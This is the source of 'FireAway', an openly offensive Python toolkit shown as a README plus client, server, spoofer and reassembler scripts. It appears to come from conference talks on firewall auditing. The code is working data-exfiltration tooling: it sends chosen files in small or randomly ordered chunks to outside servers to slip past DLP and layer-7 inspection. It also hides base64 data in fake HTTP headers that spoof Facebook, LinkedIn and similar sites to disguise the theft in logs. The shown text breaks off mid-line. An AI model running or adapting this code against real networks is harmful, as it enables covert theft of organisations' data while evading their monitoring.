├── Bsides NSH 2017.pptx ├── Derby2016.pptx ├── README.md ├── fa_assembler.py ├── fa_client.py ├── fa_server.py └── fa_spoof.py /Bsides NSH 2017.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tcstool/Fireaway/2c87885e1773eaa11c18ed0439cdc9cd59914882/Bsides NSH 2017.pptx -------------------------------------------------------------------------------- /Derby2016.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tcstool/Fireaway/2c87885e1773eaa11c18ed0439cdc9cd59914882/Derby2016.pptx -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | FireAway-Next Generation Firewall Bypass Tool 2 | ========= 3 | *v0.2* 4 | 5 | Fireaway is a tool for auditing, bypassing, and exfiltrating data against layer 7/AppID inspection rules on next generation firewalls, as well as other deep packet inspection defense mechanisms, such as data loss prevention (DLP) and application aware proxies. These tactics are based on the principle of having to allow connections to establish through the NGFW in order to see layer 7 data to filter, as well as spoofing applications to hide communication channels inside the firewall logs as normal user traffic, such as Internet surfing. In the case of bypassing data loss prevention tools, Fireaway sends data in small "chunks", which do not match regular expression triggers and other DLP rules, as well as embedding data in spoofed HTTP headers of legitimate applications which most data loss prevention technologies are not designed to inspect. The tool also has had success defeating anomaly detection and heursitics engines through its ability to spoof application headers and hide data inside them. 6 | 7 | **Starting the FireAway Server:** 8 | Typically the FireAway server would be started on the egress side of the firewall (such as a server on the Internet), and listen on a port believed to be closed to see if any application based rules allow traffic out on this port, or to receive raw data chunks to see if DLP or application proxies can identify them: 9 | 10 | ``` 11 | python fa_server.py 12 | ``` 13 | The server can be started in four modes: 14 | - Test mode (mode 0)-Receive data sent sequentially or randomly generated test data. The data is written as received and no reassembly is required. 15 | 16 | - Sequential chunk reception (mode 1)-Data is being sent to one or more servers in chunk sizes defined by the client sequentially. Fa_server will record the timestamp the chunk was received in in the output, and use the receive time as the order key during reassembly. There will also be a "reassembly key" generated by the server to be used with fa_assembler.py. This is a randomly generated 4 character key used as the delimeter between chunks, with the idea that these characters would not exist in the data chunks being transmitted. 17 | 18 | - Random chunk reception (mode 2)-Data is being sent to one or more servers in a random order. This mode is dependent on transmission of a "sequence key" message from the client to a random server in the pool. When starting each server, the server will prompt to enter a "sequence key identifier". This should be a pattern not present in the file being transmitted so the server can properly identify data received across a connection as the sequence key. BE SURE THE SAME SEQUENCE KEY IDENTIFIER IS USED ON ALL SERVERS! The client will randomly select a server to transmit the sequence key to, so it is important all servers can locate the sequence key in their received data. The sequence key will be recorded by the receiving server in a file called 'SequenceKey.txt'. 19 | 20 | - Spoofed app chunk reception (mode 3)-Base 64 encoded data is being sent to one or more servers inside HTTP headers spoofing legitimate applications. This mode will also generate a "reassembly key" to be used with the fa_assembler script. 21 | 22 | All data received by the servers on the specified port will be saved to the file ReceivedData.txt in the directory the server was launched from. If the server detects differing sizes in the amount of data received (indicating firewall filtering has kicked in), this output will be shown on the server console: 23 | 24 | ``` 25 | Got the same or lower amount of data on two consecutive runs. If sending test data, maximum data leak size may have been reached. 26 | ``` 27 | 28 | 29 | **Starting the FireAway Client/Application Spoofer:** 30 | The FireAway client has three modes: 31 | 32 | - Test mode (mode 0)-Send random data in incrementing chunk sizes to see how much data can be sent before layer 7 controls engage and stop traffic flow. 33 | 34 | - Sequential exfiltration mode (mode 1)-Open a file and send it in chunks of a specified size. The data will be transmitted sequentially. 35 | 36 | - Random exfiltration mode (mode 2)-Open a file and send it in chunks of a specified size, but in a random order. When using this mode, the client will ask for the sequence key identifier. This is the value specified on the remote servers, and the client will tag the generated sequence key with the identifier, which is transmitted to a random server if a list is provided or to the server IP specified, before the file is transmitted. 37 | 38 | To start the basic client: 39 | 40 | ``` 41 | python fa_client.py 42 | ``` 43 | The list of servers should be a simple text file containing a list of IP addresses, one per line. If only using one server, a single IP can be specified instead. 44 | 45 | The application spoofing client has three modes: 46 | - Test mode (mode 0)-Send random test data inside HTTP headers in incrementally larger chunks to determine how much data can be sent before layer 7 controls engage and stop traffic flow. 47 | 48 | - Base64 encoded exfiltration mode (mode 1)-Base64 encode an input file and transmit pieces of the encoded file inside randomly generated HTTP headers to bypass DLP and mask the transmission as a legitimate application. 49 | 50 | To start the application spoofing client: 51 | ``` 52 | python fa_spoof.py 53 | ``` 54 | 55 | 56 | Application spoofing will randomly insert HTTP headers inside legitmate looking application headers (e.g. Facebook, LinkedIn, etc.) with the data chunks to pollute the logs with various applications in order to mask the data exfiltration. 57 | 58 | 59 | **Fireaway Reassembler:** 60 | The Fireaway reassembler (fa_assembler.py) is used to reassemble data received by the Fireaway servers. The assembler has threee modes, which correspond to the mode of the servers which received the data: 61 | - Mode 1-Reassemble data which was received in a sequential order by servers in mode 1. The assembler will prompt to specify the reassembly key for the file containing the received data for each server, which is the random value the server generated and displayed when started. This value can also be found by examining the files with the received chunks, and looking at the first four characters. 62 | 63 | - Mode 2-Reassemble data which was received in a random order by servers in mode 2. The assembler will ask for the path to the sequence key, which was received from the client by a random server during the transmission. It will also prompt for the reassembly keys for reach file. 64 | 65 | - Mode 3-Reassemble base64 encoded data which was received in spoofed application HTTP headers. This data, like Mode 1, will also ask for the reassembly key. 66 | 67 | To start the reassembler: 68 | ``` 69 | python fa_assembler.py 70 | ``` 71 | 72 | Output will be saved to the filename specified. 73 | 74 | Please report any isues or questions though Github. 75 | -------------------------------------------------------------------------------- /fa_assembler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #Fireaway Reassembler Copyright 2017 Russell Butturini 4 | #This program is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | #the Free Software Foundation, either version 3 of the License, or 7 | #(at your option) any later version. 8 | 9 | #This program is distributed in the hope that it will be useful, 10 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | #GNU General Public License for more details. 13 | 14 | #You should have received a copy of the GNU General Public License 15 | #along with this program. If not, see . 16 | 17 | import sys 18 | import base64 19 | 20 | def main(): 21 | chunks = [] 22 | times = [] 23 | validModes = ['1','2','3'] 24 | 25 | if len(sys.argv) != 3 or sys.argv[1] not in validModes: 26 | printHelp() 27 | 28 | else: 29 | if sys.argv[1] == '1': 30 | timestampAssembler(sys.argv[2].split(',')) 31 | 32 | if sys.argv[1] =='2': 33 | randomAssembler(sys.argv[2].split(',')) 34 | 35 | if sys.argv[1] == '3': 36 | spooferAssembler(sys.argv[2].split(',')) 37 | 38 | def randomAssembler(fileArray): 39 | chunks = [] 40 | chunkReceiveTimes = [] 41 | orderedChunks = [] 42 | outputFile = raw_input('Enter the file name for the assembled file: ') 43 | seqKeyFile = raw_input('Enter the path to the file containg the sequence key: ') 44 | 45 | #parse the sequence key 46 | sequnceNumber = '' 47 | with open (seqKeyFile) as f: 48 | unconvertedKey = f.read()[:-1].split(',') 49 | f.close() 50 | 51 | receiveOrder = [int(convert) for convert in unconvertedKey] 52 | 53 | for i in range(max(receiveOrder)+1): #Insert as many empty values into the reassembly list as you have chunks, then update these after calculation of which position the chunk needs 54 | orderedChunks.append(None) 55 | 56 | for fileName in fileArray: 57 | chunkKey = raw_input('Enter the 4 character reassembly key for the file ' + fileName + ': ') 58 | 59 | with open(fileName) as f: 60 | unparsedWhole = f.read() 61 | f.close() 62 | unparsedChunks = unparsedWhole.split(chunkKey) 63 | 64 | while len(unparsedChunks) > 0: 65 | if (unparsedChunks[0]) != '': #Not EOF 66 | chunkReceiveTimes.append(float(unparsedChunks[0])) 67 | chunks.append(unparsedChunks[1]) 68 | unparsedChunks.pop(0) 69 | unparsedChunks.pop(0) 70 | 71 | else: 72 | break 73 | 74 | while len(chunks) > 0: 75 | curChunk = chunks[chunkReceiveTimes.index(min(chunkReceiveTimes))] 76 | orderedChunks[receiveOrder[0]] = curChunk 77 | chunks.pop(chunkReceiveTimes.index(min(chunkReceiveTimes))) 78 | chunkReceiveTimes.pop(chunkReceiveTimes.index(min(chunkReceiveTimes))) 79 | receiveOrder.pop(0) 80 | 81 | for piece in orderedChunks: 82 | fo = open(outputFile, 'a') 83 | fo.write(piece) 84 | fo.close() 85 | 86 | print 'Reassembly complete. check output at ' + outputFile + '.' 87 | sys.exit() 88 | 89 | 90 | def timestampAssembler(fileArray): 91 | chunks = [] 92 | chunkReceiveTimes = [] 93 | outputFile = raw_input('Enter the file name for the assembled file: ') 94 | 95 | for fileName in fileArray: 96 | chunkKey = raw_input('Enter the 4 character reassembly key for the file '+ fileName + ': ') 97 | 98 | with open(fileName) as f: 99 | unparsedWhole = f.read() #read the whole thing in as a string and parse based on key 100 | f.close() 101 | unparsedChunks = unparsedWhole.split(chunkKey) 102 | 103 | while len(unparsedChunks) > 0: #loop through as long as there is stuff to add. 104 | if(unparsedChunks[0]) != '': #Not EOF 105 | chunkReceiveTimes.append(float(unparsedChunks[0])) 106 | chunks.append(unparsedChunks[1]) 107 | unparsedChunks.pop(0) 108 | unparsedChunks.pop(0) 109 | 110 | else: 111 | break 112 | 113 | 114 | while len(chunks) > 0: 115 | fo = open(outputFile,'a') 116 | fo.write(chunks[chunkReceiveTimes.index(min(chunkReceiveTimes))]) 117 | chunks.pop(chunkReceiveTimes.index(min(chunkReceiveTimes))) 118 | chunkReceiveTimes.pop(chunkReceiveTimes.index(min(chunkReceiveTimes))) 119 | fo.close() 120 | 121 | print 'Reassembly complete. Check output at ' + outputFile + '.' 122 | sys.exit() 123 | 124 | def spooferAssembler (fileArray): #This is basically the same as timestamp assembler. I'm lazy. Fix this later. 125 | chunks = [] 126 | chunkReceiveTimes = [] 127 | decoderWork = '' 128 | decoded = '' 129 | outputFile = raw_input('Enter the file name for the assembled file: ') 130 | 131 | for fileName in fileArray: 132 | chunkKey = raw_input('Enter the 4 character reassembly key for the file ' + fileName + ': ') 133 | 134 | with open(fileName) as f: 135 | unparsedWhole = f.read() # read the whole thing in as a string and parse based on key 136 | f.close() 137 | unparsedChunks = unparsedWhole.split(chunkKey) 138 | 139 | while len(unparsedChunks) > 0: # loop through as long as there is stuff to add. 140 | if (unparsedChunks[0]) != '': # Not EOF 141 | chunkReceiveTimes.append(float(unparsedChunks[0])) 142 | chunks.append(unparsedChunks[1]) 143 | unparsedChunks.pop(0) 144 | unparsedChunks.pop(0) 145 | 146 | else: 147 | break 148 | 149 | 150 | while len(chunks) > 0: 151 | decoderWork += chunks[chunkReceiveTimes.index(min(chunkReceiveTimes))].rstrip() 152 | chunks.pop(chunkReceiveTimes.index(min(chunkReceiveTimes))) 153 | chunkReceiveTimes.pop(chunkReceiveTimes.index(min(chunkReceiveTimes))) 154 | 155 | 156 | decoded = base64.b64decode(decoderWork) 157 | fo = open(outputFile,'a') 158 | fo.write(decoded) 159 | fo.close() 160 | print 'Reassembly complete. Check output at ' + outputFile + '.' 161 | sys.exit() 162 | 163 | def printHelp(): 164 | print 'Fireaway Reassembler v0.1' 165 | print 'Usage: fa_assembler ' 166 | print 'Valid options for mode:' 167 | print 'mode 1-Use timestamp data for reassembly (data received sequentially)' 168 | print 'mode 2-Use timestamp data for reassembly (data received randomly)' 169 | print 'mode 3-Reassemble Base64 encoded data from spoofed app headers' 170 | sys.exit() 171 | 172 | 173 | if __name__ == '__main__': 174 | main() 175 | 176 | 177 | -------------------------------------------------------------------------------- /fa_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #Fireaway Client Copyright 2017 Russell Butturini 4 | #This program is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | #the Free Software Foundation, either version 3 of the License, or 7 | #(at your option) any later version. 8 | 9 | #This program is distributed in the hope that it will be useful, 10 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | #GNU General Public License for more details. 13 | 14 | #You should have received a copy of the GNU General Public License 15 | #along with this program. If not, see . 16 | 17 | import socket 18 | import sys 19 | import string 20 | import textwrap 21 | from random import choice 22 | from random import randint 23 | from time import sleep 24 | 25 | def main(): 26 | if len(sys.argv) != 4 or sys.argv[2].isdigit == False or int(sys.argv[2]) < 1 or int(sys.argv[2]) > 65535 or \ 27 | sys.argv[3].isdigit == False or int(sys.argv[3]) < 0 or int(sys.argv[3]) > 3: 28 | printHelp() 29 | 30 | else: 31 | if sys.argv[1].count('.') != 3: # If there aren't 3 dots, assume it's a file name (yes, this is lame) 32 | with open(sys.argv[1]) as f: 33 | serverList = f.readlines() 34 | 35 | else: # An IP address (or something that looks like an IP address) is in the file name argument 36 | serverList = sys.argv[1] 37 | 38 | if sys.argv[3] == '0': 39 | testChunk(serverList, int(sys.argv[2])) 40 | 41 | elif sys.argv[3] == '1': 42 | sendFileSeq(serverList, int(sys.argv[2])) 43 | 44 | elif sys.argv[3] == '2': 45 | sendFileRand(serverList,int(sys.argv[2])) 46 | 47 | def testChunk(server, port): 48 | while True: 49 | try: 50 | startBytes = int(raw_input('Enter the number initial number of bytes to test: ')) 51 | break 52 | 53 | except ValueError: 54 | print 'Invalid input!' 55 | 56 | while True: 57 | try: 58 | increment = int(raw_input('Enter the number of bytes to increment on each new connection: ')) 59 | break 60 | 61 | except ValueError: 62 | print 'Invalid input!' 63 | 64 | while True: 65 | try: 66 | maxBytes = int(raw_input('Enter the maximum number of test bytes: ')) 67 | break 68 | 69 | except ValueError: 70 | print 'Invalid input!' 71 | 72 | curBytes = startBytes 73 | 74 | while curBytes < int(maxBytes): 75 | try: 76 | testData = ''.join(choice(string.ascii_letters + string.digits + '!@#$%^&*()') for x in range(curBytes)) 77 | 78 | if type(server) is str: #Only one server was sent 79 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 80 | s.settimeout(15) 81 | s.connect((server, port)) 82 | print 'sending ' + str(curBytes) + ' of test data. Watch the server to see how much is received.' 83 | s.send(testData) 84 | s.close() 85 | 86 | elif type(server) is list: #Multiple servers in play 87 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 88 | s.settimeout(15) 89 | receiver = server[randint(0,len(server)-1)] 90 | s.connect((receiver, port)) 91 | print 'sending ' + str(curBytes) + ' of test data to ' + receiver.rstrip() + '. Watch the server to see how much is received.' 92 | s.send(testData) 93 | s.close() 94 | 95 | except: 96 | # Handle aggressive network traffic from the firewall gracefully and keep going. 97 | pass 98 | 99 | curBytes = curBytes + increment 100 | 101 | 102 | print 'Done sending test data. Check the receiving servers for any issues.' 103 | sys.exit() 104 | 105 | def sendFileSeq(server, port): 106 | fileName = raw_input('Enter path to file to exfiltrate: ') 107 | chunkSize = int(raw_input('Enter size of file chunk to send in bytes: ')) 108 | chunkCount = 1 109 | with open(fileName,'rb') as in_file: 110 | 111 | while True: 112 | piece = in_file.read(chunkSize) 113 | 114 | if piece == '': 115 | break #EOF 116 | 117 | try: 118 | if type(server) is str: # Only one server was sent 119 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 120 | s.settimeout(15) 121 | s.connect((server, port)) 122 | print 'sending chunk ' + str(chunkCount) 123 | s.send(piece) 124 | s.close() 125 | chunkCount += 1 126 | sleep(3) 127 | 128 | elif type(server) is list: # Multiple servers in play 129 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 130 | s.settimeout(15) 131 | receiver = server[randint(0, len(server) - 1)] 132 | s.connect((receiver, port)) 133 | print 'sending chunk ' + str(chunkCount) + ' to ' + receiver 134 | s.send(piece) 135 | s.close() 136 | chunkCount += 1 137 | sleep(3) 138 | 139 | except Exception, e: 140 | #Handle aggressive network traffic from the firewall and keep going 141 | print 'Got something bad back. Going to plug on...' 142 | print str(e) #debug 143 | pass 144 | 145 | print 'Finished sending file. Check ReceivedData.txt on the server for results.' 146 | 147 | def sendFileRand(server,port): 148 | fileName = raw_input('Enter path to file to exfiltrate: ') 149 | chunkSize = int(raw_input('Enter size of file chunk to send in bytes: ')) 150 | seqKeyID = raw_input('Enter the sequence key ID from the remote servers: ') 151 | 152 | with open(fileName) as f: 153 | unSplitFile = f.read() 154 | f.close() 155 | 156 | #splitFile = wrap(unSplitFile,chunkSize) 157 | splitFile = textwrap.TextWrapper(width=chunkSize,break_long_words=False,replace_whitespace=False).wrap(unSplitFile) 158 | transmitFile = [] 159 | transmitIndices = [] 160 | sequenceKey = seqKeyID 161 | keyTransmitted = False 162 | delimiters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()' 163 | pieceIndices = range(len(splitFile)) 164 | 165 | while True: 166 | if len(pieceIndices) > 1: 167 | index = pieceIndices[randint(0,len(pieceIndices)-1)] 168 | 169 | else: 170 | index = pieceIndices[0] 171 | 172 | transmitFile.append(splitFile[index]) 173 | transmitIndices.append(index) 174 | 175 | 176 | if len(pieceIndices) > 1: 177 | pieceIndices.remove(index) 178 | 179 | else: 180 | break 181 | 182 | for chunkSequence in transmitIndices: #build the sequence key 183 | sequenceKey += str(chunkSequence) + delimiters[randint(0,len(delimiters)-1)] 184 | 185 | while len(transmitFile) > 0: 186 | try: 187 | if keyTransmitted == False: 188 | #Send the sequence key first 189 | if type(server) is str: # Only one server was sent 190 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 191 | s.settimeout(15) 192 | s.connect((server, port)) 193 | s.send(sequenceKey) 194 | s.close() 195 | keyTransmitted = True 196 | 197 | elif type(server) is list: # Multiple servers in play 198 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 199 | s.settimeout(15) 200 | receiver = server[randint(0, len(server) - 1)] 201 | s.connect((receiver, port)) 202 | print 'sending sequence key to ' + receiver 203 | s.send(sequenceKey) 204 | s.close() 205 | keyTransmitted = True 206 | 207 | else: # Transmit data 208 | if type(server) is str: # Only one server was sent 209 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 210 | s.settimeout(15) 211 | s.connect((server, port)) 212 | print 'sending chunk ' + str(transmitIndices[0]) 213 | s.send(transmitFile[0]) 214 | s.close() 215 | transmitFile.pop(0) 216 | transmitIndices.pop(0) 217 | 218 | elif type(server) is list: # Multiple servers in play 219 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 220 | s.settimeout(15) 221 | receiver = server[randint(0, len(server) - 1)] 222 | s.connect((receiver, port)) 223 | print 'sending chunk ' + str(transmitIndices[0]) + ' to ' + receiver 224 | s.send(transmitFile[0]) 225 | s.close() 226 | transmitFile.pop(0) 227 | transmitIndices.pop(0) 228 | sleep(3) 229 | 230 | except Exception,e: 231 | print 'bad stuff.' 232 | 233 | def printHelp(): 234 | print 'Fireaway Exfiltration Client v0.2' 235 | print 'Usage: fa_client ' 236 | print 'Valid options for mode:' 237 | print '0-Send random test data to find maximum leaked data fragment size' 238 | print '1-Exfiltrate a file sequentially' 239 | print '2-Exfiltrate a file in random chunks' 240 | sys.exit() 241 | 242 | 243 | if __name__ == '__main__': 244 | main() 245 | -------------------------------------------------------------------------------- /fa_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #Fireaway Server Copyright 2017 Russell Butturini 4 | #This program is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | #the Free Software Foundation, either version 3 of the License, or 7 | #(at your option) any later version. 8 | 9 | #This program is distributed in the hope that it will be useful, 10 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | #GNU General Public License for more details. 13 | 14 | #You should have received a copy of the GNU General Public License 15 | #along with this program. If not, see . 16 | 17 | import socket 18 | import sys 19 | import time 20 | from thread import * 21 | from random import randint 22 | def main(): 23 | if len(sys.argv) < 2 or sys.argv[1] == '?' or len (sys.argv) != 3 or sys.argv[1].isdigit() == False or int(sys.argv[1]) < 1 or int(sys.argv[1]) > 65535: 24 | printHelp() 25 | 26 | else: 27 | startServer(sys.argv[1],sys.argv[2]) 28 | 29 | def startServer(port,mode): 30 | sequenceKeyID = None 31 | parserChars = '!@#$%^&*()' 32 | uniqueString = '' 33 | print '-Starting Fireaway server on port ' + port + '...' 34 | 35 | if mode == '0': 36 | print '-Server started in sequential/test data mode.' 37 | 38 | elif mode == '1': 39 | for i in range(0,4): 40 | uniqueString = uniqueString + parserChars[randint(0,9)] 41 | 42 | print '-Server started in timestamp reassembly mode.' 43 | print '-Using ' + uniqueString + ' as reassembly key. Use this with fa_assembler.py.\n' 44 | 45 | 46 | elif mode == '2': 47 | for i in range(0,4): 48 | uniqueString = uniqueString + parserChars[randint(0,9)] 49 | 50 | sequenceKeyID = raw_input('Enter the identifier for the sequence key: ') 51 | print '-Server started in sequence key based reassembly mode.' 52 | print '-Using ' + sequenceKeyID + ' as the key ID.' 53 | print '-BE SURE ALL SERVERS ARE USING THE SAME SEQUENCE KEY ID!' 54 | print '-Using ' + uniqueString + ' as reassembly key. Use this with fa_assembler.py.' 55 | print '-Ready to receive randomized data chunks.\n' 56 | 57 | elif mode == '3': 58 | for i in range(0,4): 59 | uniqueString = uniqueString + parserChars[randint(0,9)] 60 | 61 | print '-Server started in spoofed app mode.' 62 | print '-Using ' + uniqueString + ' as the reassembly key. use this with fa_assembler.py' 63 | 64 | 65 | else: 66 | print 'Invalid server mode specified. Shutting down.' 67 | sys.exit() 68 | 69 | try: 70 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 71 | s.bind(('',int(port))) 72 | 73 | except socket.error,e: 74 | print 'Failed to start listener. Error code ' + str(e[0]) + 'Error message ' + str(e[1]) 75 | sys.exit() 76 | 77 | s.listen(5) 78 | print 'Ready to accept data!' 79 | 80 | while 1: 81 | conn, addr = s.accept() 82 | print 'Received inbound connection from ' + addr[0] 83 | start_new_thread(getData,(conn,mode,uniqueString,sequenceKeyID)) 84 | 85 | def getData(conn,mode,parserString,seqKeyID): 86 | dataSizes = [] 87 | 88 | while True: 89 | data = conn.recv(16384) 90 | 91 | if not data: 92 | break 93 | 94 | print 'Received ' + str(len(data)) + ' bytes.' 95 | dataSizes.append(len(data)) 96 | 97 | if len(dataSizes) > 1 and dataSizes[len(dataSizes)-1] <= dataSizes[len(dataSizes)-2]: 98 | print 'Got the same or lower amount of data on two consecutive connections. If sending test data, maximum data leak size may have been reached.' 99 | 100 | fo = open('./ReceivedData.txt','a') 101 | 102 | if mode == '0': 103 | fo.write(str(data)) 104 | fo.close() 105 | 106 | elif mode == '1': #Use Unix epoch time to record time data chunk received, reassemble in epoch time order 107 | #Use the randomly generated parser key to write the data to the file. File sequence is key, Unix epoch time, key, chunk data 108 | fo.write(str(float(time.time())) + parserString + str(data) + parserString) 109 | fo.close() 110 | 111 | elif mode == '2': #File chunks will be sent randomly. Look for the sequence key by input ID to identify the order of data received 112 | delimiters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()' 113 | output_handler = open('./ReceivedData.txt','a') 114 | seqNumber = '' 115 | if data.find(seqKeyID) != -1: #Sequence key present in received data, process the key into sequencing array 116 | key_handler = open('./SequenceKey.txt', 'a') 117 | for seqChar in data.strip(seqKeyID): 118 | if seqChar in delimiters: #end of sequence number, write to key file 119 | key_handler.write(seqNumber+',') 120 | seqNumber = '' 121 | 122 | else: #character in sequence number 123 | seqNumber += seqChar 124 | key_handler.close() 125 | 126 | else: #This is real data 127 | output_handler.write(str(float(time.time())) + parserString + str(data) + parserString) 128 | output_handler.close() 129 | 130 | elif mode == '3': #extract data from spoofed app HTTP headers 131 | fo.write(str(float(time.time())) + parserString + str(data.split('\n')[3].split(':')[1][1:].rstrip()) + parserString) 132 | fo.close() 133 | 134 | 135 | def printHelp(): 136 | print 'Fireaway Server v0.2' 137 | print 'Usage: fa_server \n' 138 | print 'mode 0-Sequential/test data, single server, no reassembly required' 139 | print 'mode 1-Receive sequential chunks/Use timestamp data for reassembly' 140 | print 'mode 2-Receive random chunks/Use sequence key for reassembly' 141 | print 'mode 3-Receive Base64 chunks/Use spoofed app header data for reassembly' 142 | sys.exit() 143 | 144 | 145 | if __name__ == '__main__': 146 | main() 147 | 148 | -------------------------------------------------------------------------------- /fa_spoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #Fireaway Spoofer Copyright 2017 Russell Butturini 4 | #This program is free software: you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | #the Free Software Foundation, either version 3 of the License, or 7 | #(at your option) any later version. 8 | 9 | #This program is distributed in the hope that it will be useful, 10 | #but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | #GNU General Public License for more details. 13 | 14 | #You should have received a copy of the GNU General Public License 15 | #along with this program. If not, see . 16 | 17 | import socket 18 | import sys 19 | import string 20 | import base64 21 | from time import sleep 22 | from random import choice 23 | from random import randint 24 | 25 | def main(): 26 | if len(sys.argv) != 4 or sys.argv[2].isdigit == False or int(sys.argv[2]) < 1 or int(sys.argv[2]) > 65535 or \ 27 | sys.argv[3].isdigit == False or int(sys.argv[3]) < 0 or int(sys.argv[3]) > 1: 28 | printHelp() 29 | 30 | else: 31 | if sys.argv[1].count('.') != 3: # If there aren't 3 dots, assume it's a file name (yes, this is lame) 32 | with open(sys.argv[1]) as f: 33 | serverList = f.readlines() 34 | 35 | else: # An IP address (or something that looks like an IP address) is in the file name argument 36 | serverList = sys.argv[1] 37 | 38 | if sys.argv[3] == '0': 39 | testChunk(serverList, int(sys.argv[2])) 40 | 41 | elif sys.argv[3] == '1': 42 | sendFile(serverList, int(sys.argv[2])) 43 | 44 | 45 | def testChunk(server, port): 46 | apps = ['www.linkedin.com','www.facebook.com','www.gmail.com','www.youtube.com', 'www.dropbox.com', 'www.google.com', 'www.icloud.com'] 47 | 48 | while True: 49 | try: 50 | startBytes = int(raw_input('Enter the number initial number of bytes to test: ')) 51 | break 52 | 53 | except ValueError: 54 | print 'Invalid input!' 55 | 56 | while True: 57 | try: 58 | increment = int(raw_input('Enter the number of bytes to increment on each new connection: ')) 59 | break 60 | 61 | except ValueError: 62 | print 'Invalid input!' 63 | 64 | while True: 65 | try: 66 | maxBytes = int(raw_input('Enter the maximum number of test bytes: ')) 67 | break 68 | 69 | except ValueError: 70 | print 'Invalid input!' 71 | 72 | coverDNS = raw_input('Make DNS request for spoofed domain? ') 73 | curBytes = startBytes 74 | 75 | while curBytes < int(maxBytes): 76 | spoofedApp = apps[randint(0,len(apps)-1)] 77 | try: 78 | testData = ''.join(choice(string.ascii_letters + string.digits + '!@#$%^&*()') for x in range(curBytes)) 79 | 80 | if coverDNS.lower == 'y': 81 | socket.gethostbyname(spoofedApp) 82 | 83 | 84 | if type(server) is str: 85 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 86 | s.settimeout(15) 87 | s.connect((server, port)) 88 | print 'sending ' + str(curBytes) + ' bytes of test data disguised as ' + spoofedApp.split('.')[1] + '. Watch the server to see how much is received.' 89 | s.send('GET / HTTP/1.1\nHost: ' + spoofedApp + '\nUser-Agent: Mozilla/5.0 (Windows NT 6.1)\n' + genRandHeader() + ': ' + testData + '\n' + 'Connection: close\n\n') 90 | s.close() 91 | 92 | elif type(server) is list: # Multiple servers in play 93 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 94 | s.settimeout(15) 95 | receiver = server[randint(0, len(server) - 1)] 96 | s.connect((receiver, port)) 97 | print 'sending ' + str(curBytes) + ' bytes of test data disguised as ' + spoofedApp.split('.')[1] + 'to' + receiver + '. Watch the server to see how much is received.' 98 | s.send('GET / HTTP/1.1\nHost: ' + spoofedApp + '\nUser-Agent: Mozilla/5.0 (Windows NT 6.1)\n' + genRandHeader() + ': ' + testData + '\n' + 'Connection: close\n\n') 99 | 100 | except Exception,e: 101 | # Handle aggressive network traffic from the firewall gracefully and keep going. 102 | pass 103 | 104 | curBytes = curBytes + increment 105 | 106 | 107 | if raw_input('Done sending test data. Check the server output for any issues. Move on to sending a real file?').lower() == 'y': 108 | sendFile(server,port) 109 | 110 | else: 111 | sys.exit() 112 | 113 | def genRandHeader(): 114 | chars = string.ascii_letters 115 | length = randint(5,20) 116 | return ''.join(choice(chars) for x in range(length)) + ': ' 117 | 118 | def sendFile(server, port): 119 | sourceFile = raw_input('Enter filename to exfiltrate: ') 120 | pieceSize = int(raw_input('Enter chunk size to send (be sure to account for app spoofing size): ')) 121 | coverDNS = raw_input('Make DNS request for spoofed domain? ') 122 | apps = ['www.linkedin.com', 'www.facebook.com', 'www.gmail.com', 'www.youtube.com', 'www.dropbox.com'] 123 | chunkCount = 1 124 | 125 | with open (sourceFile,'rb') as f: 126 | unencodedWhole = f.read() 127 | 128 | unsent = base64.b64encode(unencodedWhole) 129 | 130 | while True: 131 | piece = unsent[0:pieceSize] 132 | 133 | if piece == "": 134 | break # EOF 135 | 136 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 137 | s.settimeout(15) 138 | 139 | try: 140 | spoofedApp = apps[randint(0,len(apps)-1)] 141 | 142 | if coverDNS.lower() == 'y': 143 | socket.gethostbyname(spoofedApp) 144 | 145 | 146 | if type(server) is str: 147 | s.connect((server, port)) 148 | print 'Sending chunk ' + str(chunkCount) + ' spoofed as ' + spoofedApp.split('.')[1] 149 | s.send('GET / HTTP/1.1\nHost: ' + spoofedApp + '\nUser-Agent: Mozilla/5.0 (Windows NT 6.1)\n' + genRandHeader() + piece + '\n' + 'Connection: close\n\n') 150 | s.close() 151 | chunkCount += 1 152 | sleep(3) 153 | 154 | elif type(server) is list: 155 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 156 | s.settimeout(15) 157 | receiver = server[randint(0, len(server) - 1)] 158 | s.connect((receiver, port)) 159 | print 'Sending chunk ' + str(chunkCount) + 